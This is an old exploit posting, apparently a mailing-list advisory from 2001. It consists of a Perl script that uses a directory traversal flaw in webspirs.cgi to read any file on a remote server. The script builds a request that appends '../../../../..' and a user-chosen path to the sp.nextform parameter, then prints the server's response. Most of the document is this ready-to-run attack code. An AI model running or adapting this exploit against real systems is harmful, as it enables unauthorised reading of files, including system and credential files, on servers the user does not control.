|
This Perl script can be used to exploit the
vulnerability on webspirs.cgi, installed on any machine. The vulnerability allow
to view any file on the machine, breaking the webroot.
#!/usr/bin/perl
# Remote Script to exploit bug in webspirs.cgi # Affected systems: any where webspirs.cgi are installed # # Using by default "/" # Spain 10-3-2001 (Crono) ([EMAIL PROTECTED]) use LWP::UserAgent;
use Socket; use Getopt::Std; getopts("h:v:c:", \%args);
if (!defined $args{h}, !defined $args{v}) { print qq~ -=- WebSpirs Remote Script -=- by Crono Usage: perl unicode.pl -h
<host> -v
<file>
~;exit; } $host=$args{h}; $v=$args{v}; if (defined $args{h}, $args{v}){ &conectar; } ################
sub conectar { ################ print " - WebSpirs Remote Script Facility
- -=- By
Crono
-=-\n"; print "\nAttemtping to get: $v\n";
my $server = inet_ntoa(inet_aton($host));
my $url = "/cgi-bin/webspirs.cgi?sp.nextform=". "../../../../..". "$v"; my $ua = new LWP::UserAgent;
my $req = new HTTP::Request GET => "http://".$server.$url; my $res = $ua->request($req); my $web = $res->server; my $code = $res->code; my $content = $res->content; print "$web\t$code\n";
print "$content\n"; }
# Saludos para la pe¤a que me conoce (ellos saben quien son) :) |
